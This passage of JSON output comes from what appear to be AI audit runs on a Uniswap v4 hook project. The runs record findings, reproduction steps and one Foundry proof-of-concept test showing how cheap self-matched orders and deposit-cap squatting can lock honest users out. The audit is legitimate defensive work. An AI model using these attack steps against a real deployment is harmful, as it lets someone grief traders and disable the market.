100 IMD net at bucket 60. Sellers at bucket 0: coin total S = imdToCoin(100e18, sqrt(60)) + 1 wei, so D(60) < S and bucket 60 cannot beat bucket 0 on match. Buyer Y: 1 IMD at bucket 0 (marginal). Scan: at bucket 0, D(0) = 101e18 > S -> match = S, buyHeavy; at bucket 60 match = D(60) < S, so pStar = 0. need = coinToImd(S, sqrt(0)) ~= 99.40e18 < innerAmt = 100e18, so innerFill ~= 0.994e18 and marginalFill = 0. X's claim: bookIn ~= 99.40e18, u ~= 0.60e18 goes to the pool residual; if the pool does not fill it, rationed is false and unfilledFee = divUp(mulDiv(a, u, net) * 50, 10000) ~= 3e15 wei is charged. Expected: a book-rationed remainder comes back whole. Actual: it pays 0.5%. Verified by code trace of _scan (lines 547-556), _fills (lines 667-670) and _outcome (lines 399, 423-428).","severity":"info","snippet":"                rationed = marg && bl.marginalFill > 0;","title":"Pro-rata rationing of strictly-inside orders (innerFill below 1e18) is not exempt from the unfilled-order fee, unlike the marginal bucket"}],"hash":"4dc2175a4bed3d9917de6ccb7b0f489985031c2a727f89ec276cc8bbeed6f234","nodeId":"452f2c83-204e-4140-81e7-6707dbf48bcd","outcome":"completed","summary":"Review complete. The findings file `.imd-findings.json` holds 11 findings, every one reproduced against the code at the pinned commit, with duplicates across the four specialist areas merged.\n\n**What was kept and verified**\n\n- **High, nested-unlock ring (MarketHoursHook.sol:607).** The specialist's proof fails on the current code for exactly the stated reason: a bell rung from inside a foreign PoolManager unlock has `residualFill == 0`, so heavy-side remainders go unfilled and pay the 0.5 % unfilled-order fee. Proof attached.\n- **Medium, reference drift (line 600).** The specialist's proof fails with `BadBucket`: two dust self-matched orders move the reference 200 buckets per bell for about 0.025 IMD a day, locking honest orders out. Proof attached.\n- **Medium, shared deposit cap (line 309).** Merged from three specialists. My own test confirms one far-bucket order blocks the whole book and costs the occupier exactly 0.5 % of the cap.\n- **Low, open bell after 15:30 (BellGame.sol:131).** Merged from four specialists. My test confirms the day settles not void, reveal is impossible, the day goes final with no winners and tickets are consumed.\n- **Low, smallest buy ticket unpaid (line 498).** My test confirms the asymmetry against a same-value sell.\n- **Low, harvest underflow with bellPurseBps above 9,000 (line 809).** My test confirms the constructor accepts it and harvest reverts.\n- **Low, orders before pool initialisation (line 303)** and **low, router-keyed round-trip guard (line 973).** Kept on code trace with the concrete input stated.\n- **Info:** ringer pays the full cap on a zero price read, direct ringOpen front-running the ringer's chores, and inner-bucket rationing not exempt from the unfilled fee.\n\n**Dropped or downgraded.** Nothing was dropped; the specialists' findings all reproduced. Severities were set once, with the cap starve at medium and the late bell at low, where specialists disagreed.\n\n**Limitations.** The full `forge test` could not run here: the project's via-IR compile of all 113 files was OOM-killed, so I compiled only the sources plus the scratch tests by skipping the project's own test files. All snippets were checked against the tree. Scratch tests and the generator script live under `test/scratch/`, which is not kept. No other files were changed.","treeHash":null,"usage":{"cachedInputTokens":1040496,"inputTokens":292,"model":"claude-fable-5-1","outputTokens":35184,"runtime":"claude","turns":21,"wallClockMs":1553355}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ee2cc12e7dfe571a","findings":[{"citation":"resolved","description":"settle(day) requires block.timestamp >= openedAt + SETTLE_WINDOW (1800 s from the bell's own time, BellGame.sol:131), and reveal() requires the time of day to be before 16:00 (line 147). ringOpen is accepted by the hook at any time in [12:00, 16:00). When the day's opening bell is rung at or after 15:30, settle cannot succeed before 16:00, so the reveal window is empty: no wallet can reveal, and _final(day) still becomes true at 16:00 with empty ranks. All sealed guesses committed for that day (tickets that were paid for with a fill, cancel fee or unfilled fee) are silently lost. The ringer's own close-bell chore settle(d) also fails TooEarly in this case. A bell rung between 15:00 and 15:30 degrades the window to under an hour. Nobody can force a late ring, so this is a liveness edge rather than an attack, but the game's documented promise that every order earns a scorable guess is broken for that day. Fix: let settle run once the window has elapsed on any later time (drop the WrongDay/CLOSE coupling for reveal, e.g. open reveals until openedAt + SETTLE_WINDOW + a fixed reveal period, or until the next day's open bell), or void the day when the open rang later than CLOSE_BELL - SETTLE_WINDOW so committed tickets are not consumed.","line":147,"path":"src/BellGame.sol","reproduction":"Day D-1: alice places a buy order in book 2(D-1) (10 IMD, bucket 0), the open rings at 12:00 (one-sided book fills from the pool so ticketPaid is true), alice calls game.commit(id, keccak256(abi.encode(guess, salt, alice, D))) before 16:00. Day D: nobody rings until 15:40, then hook.ringOpen(). Expected: alice can reveal her guess for day D at some point. Actual: game.settle(D) reverts TooEarly at 15:59:59; at 16:10 settle(D) succeeds, then game.reveal(id, guess, salt) reverts RevealClosed; finalRanks(D) returns isFinal = true with count[0] == 0. Verified in a Foundry test (test_lateOpenBellForfeitsAllGuesses).","severity":"low","snippet":"        if (block.timestamp % 1 days >= CLOSE_BELL) revert RevealClosed();","title":"BellGame: an opening bell rung after 15:30 leaves no reveal window, so every sealed guess for that day is forfeited while the day still goes final"},{"citation":"resolved","description":"bookImdTotal[s] is a shared per-book cap (1,000 IMD in the launch week, doubling weekly to 100,000 IMD). One wallet can consume the whole cap with a buy order at the lowest bucket of the band (ref - 12000), which no seller will ever reach, so every later placeOrder for that book reverts BookFull. Because the bucket is not reached, the griefer's only cost at claim is the unfilled-order fee of CANCEL_FEE_BPS = 50 bps (MarketHoursHook.sol:430), i.e. 5 IMD per day to shut the opening book during the first week, and the cap is restored only when the order is cancelled (same 0.5 % fee) or the bell rings. Legitimate users cannot place orders for that book, so the bell clears nothing (a zero-match bell), and the game's tickets for that day are limited to the griefer. The cost scales with the cap but is always 0.5 % of it, with no per-wallet limit and no requirement that the order be within any distance of the reference. Fix options that keep the cap: a per-order share of the cap, a tighter band for orders that count toward the cap, or charging a higher unfilled fee on orders more than N buckets from the reference.","line":309,"path":"src/MarketHoursHook.sol","reproduction":"At 01:00 of day D (launch week, depositCap() == 1000e18): bob calls placeOrder(2*D, true, -12000, 1000e18). Expected: other users can still join the book. Actual: alice's placeOrder(2*D, true, 0, 1e18) reverts BookFull. At 12:00 ringOpen() clears a zero-match bell at the reference bucket 0; bob's bucket -12000 is not reached, so claim(id) returns 995e18 to bob: the griefer lost exactly 5e18 (0.5 %) for blocking the entire book. Verified in a Foundry test (test_bookCapGriefCost).","severity":"low","snippet":"        if (total > depositCap()) revert BookFull();","title":"MarketHoursHook: a single order at an unreachable bucket fills depositCap and blocks every other order for the book at a cost of 0.5 % of the cap"},{"citation":"resolved","description":"_reward prices the ring's gas in IMD from the slot0 of one hard-coded pool (native ETH / IMD, fee 10000, spacing 200, no hook) read by extsload. If that pool is not initialised on the chain the hook is deployed to, if the key differs (another fee tier or spacing), or if the read fails, sp is 0 and the function returns the cap. A ringer can also move a thin pool's spot in the same transaction so that r >= cap. In all those states the reward is decoupled from the actual gas cost: each ring pays RING_REWARD_CAP = 3 IMD and each bridged push pays 0.5 IMD, so the purse (10 % of bell fees plus 10 % of harvested IMD) is paid out to ringers at the cap rate, up to 6 IMD a day, instead of about 1.5x the gas. The code comments document the cap as the bound on a bad or manipulated price, so this is a trust assumption on the ETH/IMD pool rather than a defect, but it should be checked at admission: the deployment must verify that pool exists and is deep, or the ringer should fall back to paying nothing (or a small fixed amount) when the read is zero rather than the maximum.","line":234,"path":"src/BellRinger.sol","reproduction":"Deploy the hook against a PoolManager that has no ETH/IMD pool (exactly the repo's offline environment), top the ringer up with 10 IMD, warp to 12:00 and call ring() with basefee 1 gwei. Expected: a reward near 1.5 x gasUsed x 1.01 gwei in IMD (fractions of an IMD at any plausible rate). Actual: the caller receives exactly 3e18 IMD, RING_REWARD_CAP (verified in a Foundry test, test_ringerPaysCapWhenPriceReadIsZero).","severity":"info","snippet":"        if (sp == 0 || sp >> 128 != 0 || costWei >> 95 != 0) return cap;","title":"BellRinger: whenever the ETH/IMD price read is zero, absent or manipulated, every ring pays the full 3 IMD cap regardless of gas, so the purse drains at the cap rate"},{"citation":"resolved","description":"ringOpen/ringClose on the hook are permissionless and pay nothing; the ringer's ring() calls them and reverts as a whole when the bell is already rung (BellRinger.sol:137). A griefer who sees a pending ring() can ring the hook directly in the same block for about 30k gas: the honest ringer's transaction reverts (paying its gas), no reward is paid, and the chores claimFees, harvest, claimSwarmBudget, claimBellPurse, claimNetworkFees (open) or settle and requestNight (close) are not run until someone calls them by hand. The griefer gains nothing, so this is a griefing vector that degrades liveness of the fee claims and the swarm's nightly request rather than a loss of funds. A fix that keeps the design: have ring() check bells(s).rung first and, when the bell was already rung this block by someone else, still run the chores and pay the reduced reward, or make the hook's own ring entry points callable only through the ringer.","line":578,"path":"src/MarketHoursHook.sol","reproduction":"At 12:00 on day D with the open bell due: tx1 (griefer) hook.ringOpen(); tx2 (honest ringer) BellRinger.ring(). Expected: tx2 rings the bell, runs the five chores and is paid. Actual: tx2 reverts with BellAlreadyRung bubbled from the hook; Rewarded is never emitted and no chore runs.","severity":"info","snippet":"        if (bl.rung) revert BellAlreadyRung();","title":"BellRinger: anyone can front-run ring() with a direct hook.ringOpen()/ringClose(), making the ringer's transaction revert and skipping every chore for that bell"}],"hash":"b79226e053c453050e82e8cb0a053dede81a3f211be1370683f693dfd9ebd362","nodeId":"48d9869a-6394-4931-813e-437b53f0d1aa","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds four substantiated findings, all verified against the tree and (for three of them) by a Foundry test under `test/scratch/`.\n\n**Scope covered.** All six files in `src/`, with the Economic Security, Invariant and Flow Gap passes applied to the books, cancels, claims, clearing scan, residual pool fills, the closed-market exit, missed-bell refunds, fee splits and burns, the ringer's reward, the game's commit/reveal, and the swarm purse. I traced the fill, charge and refund arithmetic in every branch of `_outcome` against `_ring` and `_fills` with concrete rounding cases. It conserves: charges round up and payouts round down per currency, buyers' fee headroom always fits the escrow, and the residual's charged and paid totals never exceed what the pool actually moved. I also confirmed the hook's own swaps bypass `beforeSwap` through v4's self-call shortcut, so the closed-market exit and the residual swap cannot be blocked by the market gate. No way to lock, lose or steal escrowed funds, to ring a bell twice, or to clear at an attacker-chosen price was found. Moving the clearing price with orders always costs the mover.\n\n**Findings recorded**\n\n- **Low, BellGame reveal window.** An opening bell rung at or after 15:30 makes `settle` impossible before 16:00, when reveals close. Every sealed guess for that day is forfeited and the day still goes final with empty ranks. Reproduced.\n- **Low, deposit cap griefing.** One buy order at the band's lowest bucket consumes the whole per-book cap and blocks all other orders. Since that bucket is never reached, the griefer's only cost is the 0.5 % unfilled fee: 5 IMD per book in launch week. Reproduced.\n- **Info, bell purse pricing.** When the hard-coded ETH/IMD pool is absent, mis-keyed or manipulated, every ring pays the full 3 IMD cap regardless of gas. Documented as the design's bound, but it is an admission check on that pool. Reproduced in the offline environment.\n- **Info, ringer front-run.** A direct `hook.ringOpen()` ahead of `BellRinger.ring()` reverts the ringer's call and skips all chores for that bell. Griefing only, no gain to the griefer.\n\n**Not reported.** Tick-spamming the pool to starve the residual swap of gas needs about 200 initialised ticks between the pool price and the clearing bucket, which only arises with a 3x price gap, so I left it as impractical. Sybil guess tickets at 0.0025 IMD each are by design and win points only.\n\nNo file outside `test/scratch/` and the findings file was changed. The scratch tests are not part of the submission.","treeHash":null,"usage":{"cachedInputTokens":1583580,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":70716,"runtime":"claude","turns":25,"wallClockMs":1142327}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"cd8076510aad8b8e","findings":[{"citation":"resolved","description":"The next book's reference (referenceOf -> lastCleared) is whatever the last bell cleared at, and _scan picks the bucket with the largest matched volume with no minimum and no anchor to the pool's price. One actor placing the two smallest permitted orders (buy 0.5 IMD and a MIN_ORDER sell) at the same bucket at the band's top (or bottom) edge matches with himself there; when the book is otherwise empty or thin, that is the largest match, so P* and lastCleared move 200 buckets (x3.32) per bell for ~0.012 IMD of bell/unfilled fees each. After the open and close bells of one day the reference is 400 buckets (x11) from the pool price and the pool's actual price is outside the next book's +/-200-bucket band: every honest placeOrder at or near the market price reverts BadBucket, so the order books (the product's core feature) are disabled for as long as the attacker spends ~0.025 IMD a day. The sell side's MIN_ORDER and depositCap are also valued at the drifted reference, the game's and swarm's indicativePrice is nonsense, and any honest buy order left in a book the attacker clears above it pays the 0.5% unfilled-order fee (lines 429-432) without being filled. Only the zero-match path (lines 558-566) anchors to the session mean, and a 0.5 IMD self-match always beats it. Recovery is only 200 buckets per un-manipulated bell, so the attacker can hold the lock indefinitely. Nobody owns the hook, so nothing can be adjusted after deployment. Fix: anchor the reference (or clamp P*) to the pool's price, e.g. derive the band from the pool's current tick / session mean rather than lastCleared alone, or require a matched volume above a meaningful floor (and/or more than one distinct owner) before a bell may move lastCleared, falling back to the zero-match reference otherwise.","line":600,"path":"src/MarketHoursHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test, console2} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {PoolId, PoolIdLibrary} from \"v4-core/src/types/PoolId.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\nimport {MarketHoursHook} from \"src/MarketHoursHook.sol\";\nimport {MarketHoursCoin} from \"src/MarketHoursCoin.sol\";\n\n/// The book's reference is whatever the last bell cleared at, and a bell clears at the bucket with the most matched\n/// volume, however small. One actor who places the two smallest orders at the top edge of the band matches with\n/// himself there, so the bell clears 200 buckets (x3.32) above the pool's price for about 0.02 IMD of fees. Two such\n/// bells (open and close of one day) put the pool's actual price outside the next book's band: no honest order can be\n/// placed at or near the market price any more (BadBucket), while the pool itself has not moved a tick.\ncontract ReferenceDriftTest is Test {\n    using StateLibrary for IPoolManager;\n    using PoolIdLibrary for PoolKey;\n\n    uint160 internal constant FLAGS = 0x2080; // BEFORE_INITIALIZE | BEFORE_SWAP\n    uint256 internal constant OPEN = 43200;\n    uint256 internal constant CLOSE = 57600;\n\n    IPoolManager internal manager;\n    MockERC20 internal imd;\n    MarketHoursCoin internal coin;\n    MarketHoursHook internal hook;\n    PoolKey internal key;\n    address internal attacker = makeAddr(\"attacker\");\n    address internal honest = makeAddr(\"honest\");\n    uint256 internal D;\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        imd = new MockERC20(\"IMD\", \"IMD\", 18);\n        coin = new MarketHoursCoin(\"Coin\", \"COIN\");\n        MarketHoursHook.Params memory p;\n        p.manager = manager;\n        p.factory = address(this);\n        p.imd = address(imd);\n        p.coin = address(coin);\n        p.feeWallet = makeAddr(\"feeWallet\");\n        p.burnExecutor = makeAddr(\"burnExecutor\");\n        p.launchFees = makeAddr(\"launchFees\");\n        p.intake = makeAddr(\"intake\");\n        p.maxBlockMoveBps = 500;\n        p.maxSwapImd = 10_000e18;\n        p.networkBps = 2000;\n        p.feeWalletBps = 2000;\n        p.swarmFeeBps = 1000;\n        p.burnBps = 4000;\n        p.bellPurseBps = 1000;\n        p.launchNumber = 1;\n        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));\n        bytes32 h = keccak256(init);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == FLAGS) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        address at;\n        assembly (\"memory-safe\") {\n            at := create2(0, add(init, 0x20), mload(init), salt)\n        }\n        require(at != address(0), \"hook CREATE2 failed\");\n        hook = MarketHoursHook(at);\n        (address c0, address c1) =\n            address(imd) < address(coin) ? (address(imd), address(coin)) : (address(coin), address(imd));\n        key = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 12_500, 60, IHooks(at));\n        // the factory (this contract) initialises the pool at tick 0: 1 IMD per coin, so bucket 0 is the market price\n        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));\n        imd.mint(attacker, 100e18);\n        coin.transfer(attacker, 100e18);\n        imd.mint(honest, 1_000e18);\n        vm.startPrank(attacker);\n        imd.approve(at, type(uint256).max);\n        coin.approve(at, type(uint256).max);\n        vm.stopPrank();\n        vm.prank(honest);\n        imd.approve(at, type(uint256).max);\n        D = block.timestamp / 1 days + 1;\n    }\n\n    function test_twoSmallestSelfMatchedOrdersLockTheMarketPriceOutOfTheBook() public {\n        int24 ref0 = hook.lastCleared();\n        assertEq(ref0, 0, \"the reference starts at the pool's launch price\");\n        int256 imd0 = int256(imd.balanceOf(attacker));\n        int256 coin0 = int256(coin.balanceOf(attacker));\n\n        // day D, 01:00: the open book. Two smallest orders, both at the band's top edge, ref + 200 buckets.\n        vm.warp(D * 1 days + 1 hours);\n        vm.startPrank(attacker);\n        uint256 b1 = hook.placeOrder(2 * D, true, ref0 + 12_000, 0.5e18);\n        uint256 s1 = hook.placeOrder(2 * D, false, ref0 + 12_000, 0.5e18);\n        vm.stopPrank();\n        vm.warp(D * 1 days + OPEN);\n        hook.ringOpen();\n        (int24 pOpen,,,,,) = hook.bells(2 * D);\n        assertEq(pOpen, ref0 + 12_000, \"the open cleared at the attacker's bucket, 200 buckets above the market\");\n        assertEq(hook.lastCleared(), ref0 + 12_000);\n\n        // the close book: again at the new band's top edge (the sell is valued at the new reference, so 0.2 coin is enough)\n        vm.startPrank(attacker);\n        uint256 b2 = hook.placeOrder(2 * D + 1, true, ref0 + 24_000, 0.5e18);\n        uint256 s2 = hook.placeOrder(2 * D + 1, false, ref0 + 24_000, 0.2e18);\n        vm.stopPrank();\n        vm.warp(D * 1 days + CLOSE);\n        hook.ringClose();\n        assertEq(hook.lastCleared(), ref0 + 24_000, \"two bells: the reference is 400 buckets (x11) above the pool\");\n\n        // the attacker takes everything back; the whole exercise cost him the fees on two 0.5 IMD matches\n        hook.claim(b1);\n        hook.claim(s1);\n        hook.claim(b2);\n        hook.claim(s2);\n        int256 lostImd = imd0 - int256(imd.balanceOf(attacker));\n        int256 lostCoin = coin0 - int256(coin.balanceOf(attacker));\n        console2.log(\"attacker IMD lost (wei)\", lostImd);\n        console2.log(\"attacker coin lost (wei)\", lostCoin);\n        assertLt(lostImd + lostCoin, 0.1e18, \"the drift cost less than 0.1 IMD at the pool's price of 1 IMD per coin\");\n\n        // the pool never traded: its price is still bucket 0\n        (, int24 tick,,) = manager.getSlot0(key.toId());\n        assertEq(tick, 0, \"the pool's price did not move\");\n\n        // day D+1, 01:00: the open book's band is [ref0 + 12000, ref0 + 36000]; a buy at the pool's price is refused.\n        // Expected: an order at the market price is always placeable; actual: BadBucket.\n        vm.warp((D + 1) * 1 days + 1 hours);\n        vm.prank(honest);\n        hook.placeOrder(2 * (D + 1), true, ref0, 100e18);\n    }\n}","reproduction":"Pool initialised at tick 0 (1 IMD per coin), book empty. Day D 01:00: attacker placeOrder(2D, buy, bucket 12000, 0.5e18) and placeOrder(2D, sell, bucket 12000, 0.5e18). 12:00 ringOpen(): bells[2D].pStar = 12000, lastCleared = 12000. Then placeOrder(2D+1, buy, 24000, 0.5e18) and placeOrder(2D+1, sell, 24000, 0.2e18); 16:00 ringClose(): lastCleared = 24000. Attacker claims all four orders: total loss 0.0247 IMD, 0 coin. Pool tick is still 0. Day D+1 01:00: honest placeOrder(2(D+1), buy, bucket 0, 100e18). Expected: an order at the pool's price can be placed. Actual: revert BadBucket (band is [12000, 36000]). Test: test/scratch/ReferenceDrift.t.sol (forge test --match-path test/scratch/ReferenceDrift.t.sol) fails with BadBucket on the current code.","severity":"medium","snippet":"        lastCleared = r.p;","title":"Cheap self-matched bell walks the book reference off the market price and locks honest orders out"},{"citation":"resolved","description":"bookImdTotal[s] is a single cap shared by every depositor of a book, checked only on entry and released only by cancel or the bell. Anyone can fill it with their own orders at a bucket the bell will never reach (e.g. buys at ref - 12000), so every later honest placeOrder reverts BookFull for the whole entry window. Holding the orders through the bell costs the unfilled-order fee of 0.5% (lines 429-432), i.e. 5 IMD per 1,000 IMD of cap per book; cancelling before 10:50 costs the same 0.5% and only frees the cap for the final hour. In the launch weeks (cap 1,000 IMD) the whole book can therefore be closed to the public for ~10 IMD a day, and combined with the reference drift finding the attacker's own orders are the only ones the bell sees. Nothing can adjust the cap after deployment. Fix (design decision): a per-owner share of the cap, a cap released on cancel without refunding the fee, or a minimum per-order fee that makes cap squatting cost more than the honest flow it displaces.","line":309,"path":"src/MarketHoursHook.sol","reproduction":"Day D-1 20:01 (book 2D open, depositCap() = 1,000e18): attacker placeOrder(2D, true, lastCleared - 12000, 1_000e18) succeeds and bookImdTotal[2D] = 1,000e18. Honest placeOrder(2D, true, lastCleared, 1e18) reverts BookFull until the bell. At 12:00 ringOpen clears at the honest-free book's P* (the reference); claim of the attacker's order refunds 995e18 and charges unfilledFee = 5e18 (0.5%). Expected: honest users can always enter a book up to a fair share; actual: one actor excludes all of them for 0.5% of the cap per book.","severity":"low","snippet":"        if (total > depositCap()) revert BookFull();","title":"Deposit cap is a shared first-come capacity: 0.5% a day blocks every honest order with BookFull"},{"citation":"resolved","description":"placeOrder admits a buy when its gross escrow `amount` is at least MIN_ORDER (0.5 IMD) and the docs say such an order earns one guess ticket. ticketPaid, however, compares filledImd (the net demand, amount * 10000 / 10125, i.e. the escrow less the bell-fee headroom) against the same MIN_ORDER. A buy of 0.5e18 that fills entirely has filledImd = 493,827,160,493,827,160 < 0.5e18 and unfilledFee = 0, so the game refuses its reveal with TicketUnpaid although it paid the full 1.25% bell fee; any buy below 0.50625e18 that fills whole, or a rationed marginal buy, is in the same position. A sell of the same IMD value that fills whole is counted (filledImd = _coinToImd(a) >= MIN_ORDER). The asymmetry decides who may reveal in the points game. Fix: compare filledImd against _net(MIN_ORDER) for buys (or count a fully filled order as paid regardless of size).","line":498,"path":"src/MarketHoursHook.sol","reproduction":"Pool at tick 0, book 2D: attacker placeOrder(2D, buy, bucket 0, 0.5e18) and placeOrder(2D, sell, bucket 0, 5e18); 12:00 ringOpen (sell-heavy, P* = 0; the buy is on the light side and fills whole: claim pays it 493,827,160,493,827,160 coin and charges the 1.25% bell fee). hook.ticketPaid(buyId) returns false, so BellGame.reveal for that order's commit reverts TicketUnpaid. By the same code a sell of 0.5e18 coin at bucket 0 that fills whole on the light side has filledImd = _coinToImd(0.5e18, sqrtAt(0)) = 0.5e18 >= MIN_ORDER and is paid. Expected: a smallest order that filled whole and paid the bell fee has paid for its ticket; actual: false for every buy below 0.50625e18. Verified with test/scratch/TicketCheck.t.sol (assertion 'a smallest buy that filled whole paid its ticket' fails; log shows the buy filled whole).","severity":"low","snippet":"        return unfilledFee > 0 || filledImd >= MIN_ORDER;","title":"Smallest buy order that fills completely never pays for its guess ticket (sell of the same size does)"},{"citation":"resolved","description":"ringOpen is accepted until 16:00 (MarketHoursHook line 453), settle requires the full 1800 s window from the bell's own time (this line), and reveal requires block.timestamp % 1 days < CLOSE_BELL (line 147). If the open rings at or after 15:30:01, settle is impossible before 16:00:01 and reveal is impossible from 16:00:00, so no guess for that day can ever be revealed; the day still settles (not void), _final becomes true and every tally reverts NoPoints. The ringer's close chore (settle(d) at 16:00) is skipped with TooEarly in this case. Whoever rings the open late (anyone may, and the first ringer in a thin-liquidity day may simply be late) silently cancels the day's game for every committed player. Fix: let reveal run until settle + a fixed reveal period (or until the close deadline), or void the day when openedAt + SETTLE_WINDOW >= CLOSE_BELL so players see DayVoid instead of a lost game.","line":131,"path":"src/BellGame.sol","reproduction":"Day D: players commit on day D-1. Nobody calls ringOpen at 12:00; at 15:40:00 anyone calls ringOpen (allowed, tod < 57600): window.openedAt = 56400. settle(D) at any t < 58200 reverts TooEarly; at 16:00 reveal reverts RevealClosed. settle(D) at 16:10 succeeds (settled, not void); every reveal(…) for day D now reverts RevealClosed; tally(D, who) reverts NoPoints for all. Expected: a day whose open rang has a reveal window; actual: none.","severity":"low","snippet":"        if (t < openedAt + SETTLE_WINDOW) revert TooEarly();","title":"Opening bell rung after 15:30 settles only after reveals have closed, voiding every sealed guess for that day"},{"citation":"resolved","description":"harvest splits unaccounted IMD as sw = hi * SWARM_BPS (1,000) / 10,000 plus bp = hi * bellPurseBps / 10,000 and burns the remainder. The constructor (line 261) only checks that the five fee shares sum to 10,000, so bellPurseBps may be anything up to 10,000; with bellPurseBps > 9,000 the sum sw + bp exceeds hi and this line reverts on every harvest with any inflow of at least 10 wei. harvest is the only path that folds the factory's requester push and stray transfers into accruals and the ringer's chore 2 is skipped each day, so those IMD are stranded in the hook with no owner able to fix the figure. The deploy script uses 1,000, so this is a missing admission check rather than a live bug. Fix: require SWARM_BPS + p.bellPurseBps <= 10_000 in the constructor (or derive the harvest split from the same five shares).","line":809,"path":"src/MarketHoursHook.sol","reproduction":"Deploy with networkBps = 500, feeWalletBps = 0, swarmFeeBps = 0, burnBps = 0, bellPurseBps = 9_500 (sums to 10,000, accepted). Transfer 100e18 IMD to the hook; call harvest(): sw = 10e18, bp = 95e18, hi - sw - bp = 100e18 - 105e18 underflows -> revert (panic 0x11). Expected: a configuration the constructor accepts can harvest; actual: harvest is permanently unusable and the inflow unaccounted.","severity":"low","snippet":"        burnAccrued += hi - sw - bp;","title":"Constructor accepts bell-purse shares above 90% that make harvest() underflow forever"},{"citation":"resolved","description":"When the swap's sender does not answer msgSender() with tx.origin, the identity for the round-trip rule is the router itself (lines 967-975). All users of such a router (any aggregator, smart-wallet or custom router that lacks that exact selector, and v4's own PoolSwapTest) then share one direction per block. A griefer who swaps 1 wei in direction A through that router first in a block makes every other user's direction-B swap through it revert RoundTrip for the block, for the gas of a dust swap; repeated every block it halves the usable market for those users while the session lasts. The code comments call the guard a speed bump, so this is a design trade-off to document rather than a bypass, but the griefing input is concrete and costs almost nothing.","line":973,"path":"src/MarketHoursHook.sol","reproduction":"Session open, router R without msgSender(). Block N: griefer swaps 1 wei zeroForOne through R: lastSwap[R] = (N << 1) | 1. Same block: honest user swaps oneForZero through R: beforeSwap -> _roundTrip(R, false): last >> 1 == N and last & 1 (1) != dir (0) -> revert RoundTrip. Expected: unrelated users are not coupled; actual: one direction per block per router for all of them.","severity":"low","snippet":"        if (last >> 1 == block.number && last & 1 != dir) revert RoundTrip();","title":"Round-trip guard keyed on the router lets anyone block one swap direction per block for every user of a router without msgSender()"}],"hash":"c3f51be6c1d6627a8227b9389814b6228316aae13136a925c88b8882a62f0909","nodeId":"f9f5b47d-f3f8-4d90-9752-0cc957b3513a","outcome":"completed","summary":"The review is complete. Nothing under `src/` was modified; the findings file sits at the repository root and the two scratch tests live under `test/scratch/`.\n\n**Outcome.** Six findings are recorded in `.imd-findings.json`: one medium with a failing Foundry proof, five low. No critical or high defect was substantiated.\n\n**Medium, with proof.** The book's reference is whatever the last bell cleared at, and a bell clears at the bucket with the most matched volume with no floor and no anchor to the pool. One actor placing the two smallest orders at the band's top edge matches with himself there, so each bell moves the reference 200 buckets. After the open and close bells of one day the pool's real price is outside the next book's band and every honest order at market reverts with BadBucket. The proof test shows the whole exercise cost the attacker 0.0247 IMD while the pool stayed at tick 0. The test fails on the current code for exactly that reason.\n\n**Low findings.**\n- **Deposit cap squatting.** The per-book cap is shared and first-come. Filling it at an unreachable bucket costs 0.5% of the cap per book and shuts honest users out with BookFull.\n- **Ticket asymmetry.** A 0.5 IMD buy that fills completely has a net fill below MIN_ORDER, so ticketPaid is false and its reveal is refused. A sell of the same value is paid. Verified by a scratch test.\n- **Late opening bell voids the game.** An open rung after 15:30 cannot settle before reveals close at 16:00, so no committed guess for that day can be revealed.\n- **Unchecked harvest split.** The constructor accepts bellPurseBps above 9,000, which makes harvest underflow forever and strands the factory's pushes. The deploy script uses 1,000, so this is a missing admission check.\n- **Router-keyed round-trip guard.** For routers without msgSender, one dust swap per block blocks the opposite direction for every user of that router. The code describes this as a speed bump, so it is documented as a trade-off.\n\n**Checked and found sound.** All state-changing entry points were inventoried. The pool-manager-only callbacks, the factory-only initialize, the unlock flag, both reentrancy guards, the ringer's gas floor and reward cap, the purse's exact approval, the Intake-only callbacks, the claim and refund timing against the ring windows, cancel accounting against placement, and the per-currency rounding in fills were traced with concrete values and hold. The hook's own residual and exit swaps bypass beforeSwap because v4 skips hooks for self-calls, which is what the closed-market exit relies on.\n\n**Not covered.** The univ4_hook launch policy text was not among the supplied inputs, so admission was judged only against the repository's own Admission tests. The math, economics and control-flow guides were applied as single passes after the permissions guides, not in the same depth. Slither and long fuzz runs were not run.","treeHash":null,"usage":{"cachedInputTokens":1508401,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":57452,"runtime":"claude","turns":29,"wallClockMs":1157250}}],"verification":[]}